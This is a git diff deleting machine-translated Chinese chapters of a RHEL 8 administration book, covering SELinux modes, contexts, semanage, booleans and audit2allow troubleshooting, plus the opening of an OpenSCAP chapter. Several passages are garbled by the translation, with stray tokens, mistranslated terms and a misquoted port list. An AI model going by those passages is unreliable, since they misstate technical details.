我们还与座舱,一个网络管理工具,使这一任务更直观,更容易执行。 - -现在,我们可以控制系统的网络连接,提供对我们想要提供的服务的访问,并为它们添加一层安全。 我们还知道如何管理区域以及如何使用它们,这取决于我们系统的用例。 现在,我们已经准备好定义自己的自定义服务,以便始终能够为它们过滤网络连接。 通过使用 RHEL 中包含的防火墙,我们现在还可以部署更安全的系统。 - -现在,我们准备学习更多关于 RHEL 安全性的知识,这也是我们将在下一章中做的事情。 记住,安全性是一项团队运动,而系统管理员是关键。 \ No newline at end of file diff --git a/docs/rhel8-admin/10.md b/docs/rhel8-admin/10.md deleted file mode 100644 index 86177327..00000000 --- a/docs/rhel8-admin/10.md +++ /dev/null @@ -1,452 +0,0 @@ -# 十、使用 SELinux 加固你的系统 - -在本章中,我们将熟悉 SELinux。 SELinux 已经存在一段时间了,但是由于对它的工作原理缺乏了解,许多人建议禁用它。 - -这不是我们想要的,因为这类似于告诉用户放弃密码,因为它很难记住。 - -我们将介绍 SELinux 的起源,以及默认模式和策略是什么。 然后,我们将了解如何将 SELinux 应用于我们的文件、文件夹和进程,以及如何将它们恢复为系统默认值。 - -此外,我们将探讨如何使用布尔值微调策略,并在以下章节的帮助下排除常见问题: - -* 在强制和允许模式下使用 SELinux -* 检查文件和进程的 SELinux 上下文 -* 使用 semanage 调整策略 -* 将已更改的文件上下文恢复为默认策略 -* 使用 SELinux 布尔设置来启用服务 -* SELinux 故障排除和常见修复 - -最后,我们将更好地理解如何正确地使用 SELinux,以及如何从它为我们的系统提供的额外保护中获益。 - -在本章中,将详细解释 SELinux 是如何工作的,以帮助我们理解它的操作方式,尽管实际上使用它要简单得多。 我们还将使用这些示例来说明 SELinux 如何防止攻击或错误配置。 - -让我们动手使用 SELinux! - -# 技术要求 - -可以在[*第一章*](01.html#_idTextAnchor014),*安装 RHEL8*中继续使用本书开头创建的虚拟机。 本章所需的任何附加软件包将在文本旁边注明,并可从[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration)下载。 - -# SELinux 在强制和允许模式下的使用 - -**安全增强型 Linux**(**SELinux)介绍 2000 年 12 月通过 Linux 内核邮件列表作为一个产品**开始的国家安全局【显示】(****国家安全局)来提高操作系统的安全性通过强制访问控制和基于角色的访问 控制,而不是系统中可用的传统自由裁量的访问控制。**** - -SELinux 是在 Linux 内核中引入之前,讨论发生关于适当的方法,和最后,内核框架命名为**Linux 安全模块(LSM)**介绍了 SELinux 是使用它实现其他方法可以使用 LSM,也不仅仅是 SELinux。 - -SELinux 为 Linux 提供了安全性改进,因为可以以非常细粒度的方式控制用户、进程甚至其他资源对文件的访问。 - -让我们举一个例子来说明 SELinux 在什么时候起作用:当 web 服务器为用户提供页面时,它从用户的主目录的`public_html`或`www`文件夹(最标准的文件夹)中读取文件。 能够从用户的主目录可以揭示读取文件内容时,web 服务器进程被攻击者,这一刻 SELinux 进场时,它会自动屏蔽文件不应该访问的 web 服务器。 - -然后,SELinux 限制流程和服务只执行它们应该执行的操作,并且只使用授权的资源。 这是一个非常重要的特性,它使事情处于控制之下,即使是在可能导致意外的文件或资源被访问的软件错误的情况下。 如果它没有被活动策略授权,SELinux 将阻止它。 - -重要的提示 - -如果用户由于不适当的文件权限而无法访问某个文件,那么在常规的**自由裁量访问控制**(**DAC**)之后总是会出现 SELinux 权限。 SELinux 与此无关。 - -默认情况下,系统安装应该以`enforcing`模式部署它,并使用`targeted`策略。 可以通过执行`sestatus`来检查您当前的系统状态,如下截图所示: - -![Figure 10.1 – Output of sestatus for our system ](img/B16799_10_001.jpg) - -图 10.1 -系统 sestatus 的输出 - -如我们所见,我们的系统有 SELinux`enabled`,使用`targeted`策略,并且当前是`enforcing`。 让我们来了解一下这是什么意思。 - -SELinux 通过定义一个**策略**来工作,即一组预定义的允许或拒绝访问资源的规则。 可用的选项可以通过系统中的`dnf list selinux-policy-*`列出,其中`targeted`和`mls`是最常见的选项。 - -我们将关注有针对性的政策,但对于`mls`做一个类比,**多层次安全**(**【显示】美国职业足球大联盟)的政策,是基于他们的安全间隙允许用户交互,类似于电影,我们可以看到有人间隙知道一些信息,而不是别人。 这如何应用到系统中呢? 根用户可能访问执行某些行为而不是其他人,如果用户成为根通过`su`或`sudo`,他们仍然会有原始标签如果根登录权限可以减少发生在本地终端或远程连接和`sudo`执行。** - -列出的模式为`enforcing`,表示当前正在执行的策略,与`permissive`的相对。 我们可以把这看作是主动提供保护,而宽容则是主动但只提供警告,不提供保护。 - -为什么我们要有`permissive`而不是禁用它? 这个问题有点棘手,所以让我们解释一下它是如何工作的,以提供一个更好的答案。 - -SELinux 在文件系统中使用扩展属性来存储标签。 每次创建一个文件时,都会根据策略分配一个标签,但这只在 SELinux 处于活动状态时才会发生,所以这使得 SELinux`disabled`与 SELinux`permissive`不同,因为第一个将不会为创建的新文件创建那些标签。 - -此外,在`permissive`模式下,SELinux 允许我们查看如果程序没有收到好的策略或者文件没有适当的标签,将引发的错误。 - -从`enforcing`切换到`permissive`,或者从`permissive`切换到`permissive`,都很容易,而且总是通过`setenforce`命令,而我们可以使用`getenforce`检索当前状态,如下截图所示: - -![Figure 10.2 – Changing SELinux enforcing status ](img/B16799_10_002.jpg) - -图 10.2 -改变 SELinux 强制状态 - -它可能看起来很简单,但实际上就是这么简单,只是运行一个命令而已。 但是,如果禁用了状态,情况就完全不同了。 - -SELinux 状态是通过编辑`/etc/selinux/config`文件来配置的,但是更改只有在系统重新引导后才生效; 也就是说,我们可以实时地从`enforcing`切换到`permissive`,或者从允许切换到强制,但是当策略从`disabling`切换到`enabling`,或者反之,SELinux 将要求我们重新启动系统。 - -一般的建议是让 SELinux 保持强制模式,但是如果由于某种原因,SELinux 被禁用了,建议将 SELinux 切换到`permissive`作为从`disabled`移动的第一步。 这将允许我们检查系统实际工作,而不会因为内核阻塞访问文件和资源而被锁定。 - -请注意 - -在从`disabled`切换到`permissive`或`enforcing`后的重启过程中,系统将根据策略强制重新标记文件系统。 这是通过在文件系统的根文件夹中创建一个名为`/.autorelabel`的文件来完成的,该文件将触发进程并在之后再次重新引导。 - -但是为什么选择禁用而不是`permissive`? 例如,一些软件可能需要将其设置为禁用模式,即使稍后也可以为操作或其他原因重新启用它,但请记住,SELinux 是保护您的系统的安全特性和应该保留。 - -记住,SELinux 使用**访问向量缓存**(**AVC)消息记录到`/var/log/audit/audit.log`文件以及系统日志,是的,这是一个缓存,所以规则不像经常检查,以加快操作。** - - **让我们回到文件系统存储标签的想法,并进入下一节,看看它们如何与 SELinux 提供的进程、文件和 RBAC 相关。 - -# 检查文件和进程的 SELinux 上下文 - -SELinux 使用标签,也称为附加到每个文件的安全性上下文,并定义了几个方面。 让我们在主文件夹中检查一个例子,使用`ls –l`命令,但是使用了一个特殊的修饰符`Z`,它也将显示 SELinux 属性,如下截图所示: - -![Figure 10.3 – File listing showing SELinux attributes ](img/B16799_10_003.jpg) - -图 10.3 -显示 SELinux 属性的文件清单 - -让我们将聚焦于其中一个文件的输出: - -```sh --rw-r--r--. 1 root unconfined_u:object_r:admin_home_t:s0 540 Mar 6 19:33 term.sh -``` - -SELinux 属性列在`unconfined_u:object_r:admin_home_t:s0`中: - -* **第一部分用户映射**:`unconfined_u` -* :`object_r` -* **第三部分为类型**:`admin_home_t` -* 第四部分用于多级安全和多类别安全中的:`s0`级别 - -类似的事情也发生在进程中,同样地,我们可以在许多常见命令中添加`Z`来获取上下文,例如,使用`ps Z`,如下面的截图所示: - -![Figure 10.4 – ps output with SELinux contexts ](img/B16799_10_004.jpg) - -图 10.4 -带有 SELinux 上下文的 ps 输出 - -再一次,让我们检查中的一行: - -```sh -unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 2287661 pts/0 S+ 0:00 tmux -``` - -同样,我们可以看到相同的方法:用户、角色、类型和级别来实现多级安全性和多类别安全性。 - -现在我们已经介绍了它的样子,让我们关注它在目标政策中是如何工作的。 - -目标策略允许系统中除了 SELinux 所针对的服务外,其他一切都像未启用 SELinux 一样运行。 这在安全性和可用性之间做出了很好的妥协。 - -在策略的开发过程中,会添加新的服务,而对其他服务进行细化,许多最常见的服务都编写了保护它们的策略。 - -SELinux 还提供了名为**转换**的功能。 转换允许一个由用户启动的进程,使用具有特定角色的二进制文件,通过执行将转换为其他角色,稍后将使用该角色定义其权限。 - -正如你可能想象的那样,我们的用户也有一个 SELinux 上下文,类似地,我们可以使用`id -Z`命令来检查它: - -```sh -unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 -``` - -因此,回到第一个示例,Apache Web Server 是由`httpd`包提供的,它可以通过`dnf –y install httpd`安装。 安装完成后,让我们用`systemctl start httpd`启动它,用`systemctl enable httpd`启用它,然后打开防火墙`firewall-cmd --add-service=http`和`firewall-cmd --add-service=https`,就像我们在前面的章节中对其他服务所做的那样。 - -以上命令可以在以下脚本中找到:[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-10-selinux/apache.sh](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-10-selinux/apache.sh)。 - -让我们看看下面的截图是如何发挥作用的: - -![Figure 10.5 – Web server SELinux contexts ](img/B16799_10_005.jpg) - -图 10.5 - Web 服务器 SELinux 上下文 - -在这里,我们可以看到磁盘上的可执行文件如何具有上下文`httpd_exec_t`,进程是`httpd_t`,它所服务的文件/文件夹是`httpd_sys_content_t`,并且它工作! - -现在让我们在`home`文件夹中创建一个`index.htm`文件,并将其移动到`Apache Web Root`文件夹,如下所示: - -```sh -# echo 'Our testThis is our test html' > index.htm -# cp index.htm /var/www/html/index2.htm -# mv index.htm /var/www/html/index1.htm -``` - -让我们看看当我们尝试访问如下截图所示的文件时会发生什么: - -![Figure 10.6 – Apache behavior with the generated files ](img/B16799_10_006.jpg) - -图 10.6 - Apache 使用生成的文件的行为 - -正如我们所看到的,每个文件都有一个 SELinux 上下文,但是在之上,Apache 拒绝访问我们移动的那个(`index1.htm`),但是显示我们复制的那个(`index2.htm`)的内容。 - -这里发生了什么? 我们复制了一个文件并移动了另一个文件,但是它们有两个不同的 SELinux 上下文。 - -让我们扩展测试,如下图所示: - -![Figure 10.7 – Retrying with SELinux in permissive mode ](img/B16799_10_007.jpg) - -图 10.7 -在允许模式下使用 SELinux 进行重试 - -正如我们可以在前面的截图中看到的,我们现在能够访问文件内容,所以你可以说*“SELinux 怎么了,不允许我的站点工作?”* ,但是正确的表达方式应该是*“Look how SELinux has protected us from disclosure a personal file ona website”*。 - -如果不是直接将文件移动到 Apache 的**DocumentRoot**(`/var/www/html`)中,而是攻击者试图访问我们的主文件夹文件,SELinux 会默认拒绝这些访问。 `httpd_t`进程无法访问`admin_home_t`上下文。 - -类似的事情发生,当我们试图让 Apache 或任何其他服务目标政策下监听一个端口,不是配置默认情况下,最好的方法熟悉我们能或不能做的是了解`semanage`效用。 - -使用`semanage`,我们可以在策略中列出、编辑、添加或删除不同的值,甚至导出和导入我们的定制,因此,让我们使用它来通过使用`httpd`的示例进一步了解它。 - -让我们在下一节中了解一下`semanage`。 - -# 使用 semanage 调整策略 - -正如我们前面介绍的,目标策略包含一些对其定义的服务实施的配置,允许保护这些服务,同时不干扰它不知道的服务。 - -尽管如此,有时我们仍然需要调整许多设置,例如允许`http`或`ssh`守护进程监听替代端口或访问其他一些文件类型,但同时又不失去 SELinux 提供的额外保护层。 - -首先,让我们确保`policycoreutils`和`policycoreutils-python-utils`与`dnf –y install policycoreutils-python-utils policycoreutils`一起安装在我们的系统中,因为它们提供了我们将在本章和本章下一节中使用的工具。 - -让我们通过一个例子来学习。 让我们看看哪些端口`httpd_t`可以通过`semanage port -l|grep http`访问: - -```sh -http_cache_port_t tcp 8080, 8118, 8123, 10001-10010 -http_cache_port_t udp 3130 -http_port_t tcp 80, 81, 443, 488, 8008, 8009, 8443, 9000 -``` - -如我们所见,`http_port_t`,使用 Apache 守护进程,是允许的,默认情况下,使用港口`80`、`81`,`443`,`488`,`8008`,`9009`,`8443`,【显示】通过`tcp`。 - -这意味着,如果我们想在这些端口上运行 Apache,则不需要更改策略。 - -如果我们重复`ssh`之外的命令,我们只看到端口`22`打开(执行`semanage port -l|grep ssh`): - -```sh -ssh_port_t tcp 22 -``` - -例如,我们可能想要将另一个端口(假设为`2222`)添加到可能的端口列表中,以便隐藏端口扫描器正在测试的标准端口。 我们将能够通过`semanage port -a -p tcp -t ssh_port_t 2222`来完成它,然后验证之前的命令`semanage port –l|grep ssh`,现在显示如下: - -```sh -ssh_port_t tcp 2222, 22 -``` - -如我们所见,港口`2222`已添加到`ssh_port_t`的可用端口的列表类型,这使`ssh`守护进程开始监听(当然,这需要额外的配置`ssh`守护进程配置,防火墙之前工作服务)。 - -以同样的方式,例如,一些 web 服务需要写入特定的文件夹来存储配置,但在默认情况下,`/var/www/html`上的上下文是`httpd_sys_content_t`,这不允许写入磁盘。 - -我们可以检查可用的文件上下文`semanage fcontext –l`以类似的方式我们的港口,但文件的列表是巨大的,作为一个 web 服务器可以使用常见的位置如`logs`和`cgi-bin`,以及文件系统的文件证书,配置,和主目录,扩展 PHP 等。 当你用前面的命令检查上下文时,注意不同的类型是可用的,以及一个列表的结构,例如: - -```sh -/var/www/html(/.*)?/wp-content(/.*)? all files system_u:object_r:httpd_sys_rw_content_t:s0 -``` - -正如我们所看到的,有一个正则表达式,它与`/var/www/html`路径内的`wp-content`文件夹中的文件相匹配,并将`httpd_sys_rw_content_t`设置为 SELinux 上下文,允许读写访问。 这个文件夹由流行的博客软件**WordPress**使用,因此策略已经准备好涵盖一些最流行的服务、文件夹和需求,而不需要系统管理员临时编写它们。 - -当调用`semanage`时,它将输出一些我们可以使用的子命令,例如以下: - -* `import`:这允许引入本地修改。 -* `export`:允许导出本地更改。 -* `login`:这允许管理登录和 SELinux 用户关联。 -* `user`:用角色和级别管理 SELinux 用户。 -* `port`:管理端口定义和类型。 -* `ibpkey`:管理 ib 定义。 -* `ibendport`:管理结束端口 ib 定义。 -* `interface`:定义网络接口定义。 -* `module`:管理 SELinux 的策略模块。 -* `node`:管理网络节点的定义。 -* `fcontext`:管理文件上下文定义。 -* `boolean`:管理用于调整策略的布尔值。 -* `permissive`:管理强制模式。 -* `dontaudit`:管理策略中的`dontaudit`规则。 - -对于前面的每个命令,我们可以使用`-h`参数来列出、帮助并了解可用于每个命令的额外参数。 - -对于日常使用的情况,大部分的时间我们将使用`port`和`fcontext`将覆盖扩展或调优的可用服务 Red Hat Enterprise Linux,像我们展示的例子`ssh`监听一个额外的端口。 - -重要的提示 - -传统上,**红帽认证系统管理员**(**RHCSA)和**红帽认证工程师**(【显示】RHCE)课程使用重启验证。 这意味着对于每个已安装和启动的服务,还必须记住在下次重新启动时使其处于活动状态。 SELinux 也发生了类似的事情。 如果我们要添加一个将留在系统中的软件,最好的方法是通过`semanage`定义将要使用的路径`regexp`。 当采用这种方法时,如果文件系统被重新标记或恢复了上下文,应用将继续工作。** - - **在下一节中,让我们看看如何手动设置文件的上下文以及如何恢复默认值。 - -# 恢复已更改的文件上下文为默认策略 - -在前面的部分中,我们提到了`semanage`如何使我们能够对策略执行更改,这是执行更改并为未来的文件和文件夹持久化它们的推荐方法,但这不是我们执行操作的唯一方法。 - -在命令行中,我们可以使用`chcon`实用程序来更改文件的上下文。 这将允许我们定义用户,角色,和类型的文件我们想改变,和类似于其他文件系统实用程序`chmod`或`chown`等,我们也可以影响文件递归,所以很容易制定一个完整的文件夹层次结构所需的上下文。 - -我发现一个非常有趣的特性是能够通过`--reference`标志复制文件的上下文,这样就可以将与被引用的文件相同的上下文应用到目标文件。 - -当我们在本章前面介绍`httpd`的例子时,我们对两个文件`index1.htm`和`index2.htm`进行了测试,它们被移动并复制到`/var/www/html`文件夹中。 为了更深入地了解这个示例,我们将制作额外的`index1.htm`副本,在下一个屏幕截图中演示`chcon`的用法。 请记住,直接在`/var/www/html`文件夹中创建文件将使文件具有适当的上下文,所以我们需要在`/root`创建它们,然后将它们移动到目标文件夹中,如下截图所示: - -![Figure 10.8 – Demonstrating chcon usage ](img/B16799_10_008.jpg) - -图 10.8 -演示 chcon 的使用 - -正如我们可以看到的,`index1.htm`和`index3.htm`文件现在都有了适当的上下文,在第一种情况下,使用引用,在第二种情况下,定义要使用的类型。 - -当然,这不是唯一的方法。 如前所述,为应用设置上下文的推荐方法是通过`semanage`定义`regexps`路径,这使我们能够使用`restorecon`命令根据配置将正确的上下文应用到文件中。 让我们看看下面的截图是如何操作的: - -![Figure 10.9 – Using restorecon to restore context ](img/B16799_10_009.jpg) - -图 10.9 -使用 restorerecon 恢复上下文 - -如我们所见,我们使用`restorecon –vR /var/www/html/`,它自动将`index3.htm`文件更改为`httpd_sys_content_t`,这是为该文件夹定义的,正如我们在测试`semanage`列出上下文时看到的。 所使用的参数`v`和`R`使实用程序报告更改(详细)并递归地在提供的路径上工作。 - -假设我们通过在根文件系统上运行`chcon`来搞乱系统。 有什么办法可以解决这个问题? 在这种情况下,正如我们前面提到的,我们应该做以下工作: - -* 设置操作模式为`permissive`,不阻止通过`setenforce 0`进一步访问。 -* 放置标记使文件系统通过`touch /.autorelabel`重新标记。 -* 修改`/etc/selinux/config`文件,将启动方式设置为`permissive`。 -* 重新启动系统让重新贴标签发生。 -* 系统重新启动后,再次编辑`/etc/selinux/config`,将操作模式定义为`enforcing`。 - -通过以这种方式操作,而不仅仅是运行`restorecon -R /`,我们确保系统操作和重启后将继续运作,全面重新贴标签于适用于文件系统,因此准备启用`enforcing`安全模式。 - -在下一节中,我们将了解如何在策略内部进行调优,使用布尔值来调优策略的工作方式。 - -# 使用 SELinux Boolean 设置启用服务 - -许多服务对于许多常见情况都有广泛的配置选项,但并不总是相同的。 例如,`http`服务器不应该访问用户文件,但同时,从每个用户的主目录中的`www`或`public_html`文件夹中启用个人网站是一种常见的操作方式。 - -为了克服这个用例,同时提供增强的安全性,SELinux 策略使用了布尔值。 - -布尔值是可以由管理员设置的可调项,管理员可以启用或禁用策略代码中的条件。 让我们看看,例如,通过执行`getsebol -a|grep ^http`可以为`httpd`提供一个布尔值列表(列表减少): - -```sh -httpd_can_network_connect --> off -httpd_can_network_connect_db --> off -httpd_can_sendmail --> off -httpd_enable_homedirs --> off -httpd_use_nfs --> off -``` - -这个列表是可用布尔的一个简化子集,但它确实让我们知道它可以完成什么; 例如,`http`,默认情况下,不能使用网络连接到其他主机,或发送电子邮件(通常用 PHP 脚本完成),甚至不能访问用户的主文件夹。 - -例如,如果我们想让系统中的用户从主目录的`www`文件夹发布他们的个人网页,也就是`/home/user/www/`,我们必须通过运行以下命令来启用`httpd_enable_homedirs`布尔值: - -```sh -setsebool -P httpd_enable_homedirs=1 -``` - -这将调整策略,使`http`能够访问用户的主目录,以便在那里提供页面。 此外,如果服务器将存储在一个**网络文件系统(NFS**)或【显示】常见的网络文件系统**(**CIFS),需要额外的布尔值。 我们仍然使用相同的目标策略,但是我们启用了内部条件来允许 SELinux 不阻止访问。**** - - **重要的提示 - -为了使*的更改永久*,需要对`setsebool`的`–P`参数。 这意味着写入更改以便它被持久化; 没有它,一旦我们重新启动服务器,所做的更改就会丢失。 - -正如我们所看到的,`getsebool`和`setsebool`允许我们查询和设置优化策略的布尔值,而且,`semanage boolean -l`也可以在这里提供帮助,正如我们在下面的截图中看到的: - -![Figure 10.10 – Using semanage to manage Booleans ](img/B16799_10_010.jpg) - -图 10.10 -使用 semanage 管理布尔值 - -在前面的截图中,我们不仅可以看到我们使用`setsebool`编辑的布尔值,还可以看到预期行为的描述。 - -正如我们所介绍的,其中一个好处是`semanage`允许我们导出和导入对策略的本地更改,因此任何定制都可以导出和导入到另一个系统,以简化类似的服务器概要文件的设置。 - -策略中所有可能的布尔值都可以用`semanage boolean –l`检查,类似于我们在`http`示例中列出应用的绑定端口所做的操作。 - -我们已经学习了如何使用布尔值来调整策略如何适应一些特定但非常常见的情况。 接下来,我们将探讨可能是管理员最常用的部分,即故障排除,但重点是 SELinux。 - -# SELinux 故障排除和常见修复 - -在适应 SELinux 的主要问题之一是,许多不熟悉它的人指责它的东西不工作; 然而,这种说法有点过时了:SELinux 是在 2005 年 Red Hat Enterprise Linux 4 中引入的。 - -大多数时候,SELinux 和我们的系统的问题与更改文件上下文和更改服务端口有关,而与策略本身有关的时间问题较少。 - -首先,我们可以在几个地方检查错误,但在我们的列表中,我们应该从审计日志或系统消息开始。 例如,我们可以从本章前面介绍的`/var/log/audit/audit.log`文件开始。 - -还考虑在,SELinux**强制访问控制(MAC**)只扮演一次**我们从定期清除访问任意访问控制**(**【显示】DAC),也就是说,如果我们没有权限查看一个文件(例如,400 年模式和我们的用户不是所有者)。 在这种情况下,SELinux 不太可能阻塞访问。** - - **大多数时候,我们的系统会安装`setroubleshoot-server`和`setroubleshoot-plugins`包,这些包提供了一些工具,包括`sealert`,用于查询收到的 SELinux 消息,并多次提出修改建议。 - -让我们来看看一些我们应该始终验证的基本内容: - -* 检查所有其他控件(正确设置了用户和组的所有权和权限)。 -* Do not disable SELinux. - - 如果一个程序不能正常工作,并且它是随操作系统一起提供的,那么它可能是一个 bug,应该通过支持案例或 Bugzilla 在[https://bugzilla.redhat.com](https://bugzilla.redhat.com)报告。 - - 只有当程序不能正常工作时,才可以让它不受限制地运行,但通过目标策略保护所有剩余的系统服务。 - -* Think about what was done before the error happened if this is an existing program. - - 可能文件在到达目的地时被移动而不是复制或创建,或者可能软件的端口或文件夹被更改。 - -至此,我们应该检查`audit.log`是否有相关的消息。 例如,关于我们提到的关于`/var/www/html/`中文件的错误上下文的例子,审计条目的例子如下: - -```sh -type=AVC msg=audit(1617210395.481:1603680): avc: denied { getattr } for pid=2826802 comm="httpd" path="/var/www/html/index3.htm" dev="dm-0" ino=101881472 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file permissive=0 -``` - -看起来奇怪,但如果我们检查参数,我们看到受影响的文件的路径,PID,源上下文(`scontext`),和目标上下文(`tcontext`),总之,我们可以看到`httpd_t`试图访问(属性)目标上下文`admin_home_t`,被拒绝。 - -同时,如果我们使用`setroubleshoot`,我们将在系统日志中得到这样的消息: - -![Figure 10.11 – setroubleshoot logging in the system journal ](img/B16799_10_011.jpg) - -图 10.11 -排除登录系统日志的故障 - -正如我们在前面的截图中看到的,它已经确定其中一个插件建议在文件上应用命令`restorecon`,因为它不匹配它所在的文件夹,甚至建议使用准确的命令来恢复标签。 - -另一个插件建议使用以下两个命令生成自定义策略: - -```sh -# ausearch -c 'httpd' --raw | audit2allow -M my-httpd -# semodule -X 300 -i my-httpd.pp -``` - -但是,应该了解正在执行的操作,这意味着前面的命令将修复`httpd_t`在访问`home_admin_t`文件方面的问题。 我们可以通过只运行第一个命令和`audit2allow`管道来了解会发生什么。 - -运行`ausearch –c 'httpd' --raw | audit2allow –M my-httpd`将在当前文件夹中创建几个名为`my-httpd`的文件,其中一个名为`my-httpd.te`,另一个名为`my-httpd.pp`。 第二个命令(我们将*不使用*)将安装修改后的策略,但是请在了解发生了什么之前不要这样做,我们将在下面几行中看到。 - -我们现在感兴趣的文件是`my-httpd.te`(其中*te*表示*类型执行*): - -```sh -module my-httpd 1.0; -require { - type httpd_t; - type admin_home_t; - class file getattr; -} -#============= httpd_t ============== -allow httpd_t admin_home_t:file getattr; -``` - -从这里,我们可以看到它为所涉及的类型使用一个需求会话,然后是规则本身,它允许`httpd_t`访问`admin_home_t`文件以使用`getattr`函数,仅此而已。 - -如前所述,这将解决我们的问题吗? 它将有效地允许`httpd_t`获得对`index3.html`文件的访问,因此将不再有任何错误,但这需要付出很大的代价。 从此,`httpd_t`也可以毫无怨言地读取主目录文件。 - -重要提示 - -我不知道这个事实需要强调多少次,但在对系统采取行动之前要三思。 SELinux 是一种增强系统安全性的保护机制; 不要禁用它,不要盲目地接受`audit2allow`创建的策略,而不进行一些初步调查和了解问题可能是什么,以及建议的解决方案是什么,因为它可能几乎等同于禁用 SELinux。 - -如果在这个点,我们已经安装了那个模块,我们可以使用`semodule`做以下事情: - -* 列出`semodule -l`。 -* 安装`semodule -i $MODULE_NAME`。 -* 移除`semodule –r $MODULE_NAME`。 - -使用上述命令,我们可以检查或更改策略加载模块的当前状态。 - -回顾一下系统日志,我们可能会意识到某些东西实际上是在它开始后的某个时候失败的,而不是从一开始就失败,所以使用`ausearch`或将完整的日志传递给`audit2allow`可能没有帮助; 然而,我们可以使用`setroubleshootd`建议的命令来列出它们: - -```sh -Mar 31 17:06:41 bender setroubleshoot[2924281]: SELinux is preventing /usr/sbin/httpd from getattr access on the file /var/www/html/index3.htm. For complete SELinux messages run: sealert -l 1b4d549b-f566-409f-90eb-7a825471aca8 -``` - -如果我们执行`sealert –l `,我们将收到由不同插件提供的解决问题的输出,以及类似于图 10.11 中所示的上下文信息。 - -如果正在部署的新软件不支持 SELinux,我们可以在测试系统中以相反的方式进行以下检查: - -* 设置 SELinux 为`permissive`模式。 -* 部署的软件。 -* 分析所有收到的警报,以查看是否有意外情况。 -* 联系软件供应商,并与 Red Hat 一起发起一个支持案例来制定策略。 - -以防我们锁定的系统因为 SELinux 是执行和严重混乱标签,例如,通过运行糟糕的`chcon`命令递归地对我们的根文件夹(例如,脚本上下文变化取决于一个变量,该变量是空的), 我们仍然有以下方法摆脱困境: - -* 使用`setenforce 0`将 SELinux 置于`permissive`模式。 -* 运行`touch /.autorelabel`。 -* 重新启动主机,以便在下一次启动时,SELinux 恢复适当的标签 - -如果我们处于一个非常糟糕的情况,例如,不能使用`setenforce 0`或者系统甚至不能正确引导或执行重新标签,仍然有希望,但需要一些额外的步骤。 - -当系统重新启动时,我们可以在 grub 提示符中看到已安装内核的列表,并使用它来编辑内核启动参数。 - -使用`selinux=0`参数,我们完全禁用 SELinux,这是我们不想要的,但是我们可以使用`enforcing=0`来实现在`permissive`模式下启用 SELinux。 - -一旦我们将系统引导到`permissive`模式,我们就可以重复前面的过程以返回到前面的行为,并使用预先给出的指示(检查系统日志等)继续在系统本身内调试中的情况。 - -# 总结 - -本章介绍了 SELinux,它是如何工作的,我们如何检查进程、文件和端口,以及如何通过添加新选项或使用布尔值对它们进行微调。 我们还讨论了几个初步的故障排除技能,我们应该进一步探讨这些技能以增强我们的知识和经验。 - -正如我们所看到的,SELinux 是一种强大的工具,它通过一个额外的层保护我们的系统,甚至保护我们的系统不受可能来自软件本身缺陷的未知问题的影响。 - -我们讨论了如何在文件和进程中查找 SELinux 上下文,如何通过策略应用这些上下文,以及如何对其进行调优,以便保护系统并仍然能够提供预期的服务。 - -排除 SELinux 故障是一种技能,它将帮助我们调整 Red Hat Enterprise Linux 不附带的软件,使其仍然能够正确地执行。 - -在下一章中,我们将学习 OpenSCAP 的安全配置文件,以继续保证系统的安全。******** \ No newline at end of file diff --git a/docs/rhel8-admin/11.md b/docs/rhel8-admin/11.md deleted file mode 100644 index a92d01ff..00000000 --- a/docs/rhel8-admin/11.md +++ /dev/null @@ -1,402 +0,0 @@ -# 十一、系统安全配置文件与 OpenSCAP - -SCAP**SCAP**代表**Security Content Automation Protocol**,是一种检查、验证和报告漏洞评估和策略评估的标准化方式。 Red Hat Enterprise Linux (RHEL) 8 包含了**OpenSCAP**工具,以及用于审计和管理系统安全性的配置文件。 这有助于确保管理系统符合标准的安全策略,如**支付卡行业数据安全标准**(【显示】PCI DSS)或**保护配置文件的通用操作系统**或【病人】操作系统保护配置文件(**OSPP)短, 以及发现漏洞。** - -RHEL 8 包含这个工具,用于检查安全配置文件,以便发现可能的攻击载体(错误配置或漏洞),并可以获得关于如何更好地加固系统的指导。 我们将学习如何对系统进行扫描,并发现在准备系统时需要进行哪些更改,以确保它完全符合监管要求。 我们还将了解如何通过审查该工具并应用建议的更改来提高系统的安全性,以供一般使用。 - -为了复习如何使用 OpenSCAP,在本章中,我们将讨论以下主题: - -* 开始使用 OpenSCAP 并发现系统漏洞 -* 使用 OpenSCAP 和安全配置文件的 OSPP 和 PCI DSS - -# 开始使用 OpenSCAP 并发现系统漏洞 - -让我们以一种实际的方式开始 OpenSCAP 中的,首先回顾的`Security Tools`软件组,其中有一些值得了解的工具,然后继续运行一些扫描。 - -我们的第一步将是获取关于`Security Tools`的信息: - -```sh -[root@rhel8 ~]# dnf group info "Security Tools" -Updating Subscription Management repositories. -Last metadata expiration check: 0:37:16 ago on dom 14 mar 2021 16:55:55 CET. - -Group: Security Tools -Description: Security tools for integrity and trust verification. -Default Packages: - scap-security-guide -Optional Packages: - aide - hmaccalc - openscap - openscap-engine-sce - openscap-utils - scap-security-guide-doc - scap-workbench - tpm-quote-tools - tpm-tools - tpm2-tools - trousers - udica -``` - -该组包括几个安全工具,如`aide`,以确保文件在系统中的完整性; `tpm-tools`管理**可信平台模块**(**TPM**)存储加密密钥; 和`openscap-utils`来检查系统中的安全策略。 - -我们可以通过使用`dnf`来获得更多关于这些工具的信息。 让我们回顾一下与本章更相关的一个,`openscap-utils`: - -```sh -[root@rhel8 ~]# dnf info openscap-utils -Updating Subscription Management repositories. -Last metadata expiration check: 0:03:24 ago on dom 14 mar 2021 17:38:49 CET. -Available Packages -Name : openscap-utils -Version : 1.3.3 -Release : 6.el8_3 -Architecture : x86_64 -Size : 43 k -Source : openscap-1.3.3-6.el8_3.src.rpm -Repository : rhel-8-for-x86_64-appstream-rpms -Summary : OpenSCAP Utilities -URL : http://www.open-scap.org/ -License : LGPLv2+ -Description : The openscap-utils package contains command-line tools build on top - : of OpenSCAP library. Historically, openscap-utils included oscap - : tool which is now separated to openscap-scanner sub-package. -``` - -我们可以在前一个命令的输出中看到`openscap-utils`包是关于什么的,其中有一个简短的描述和到包含更广泛信息的主页的链接。 - -提示 - 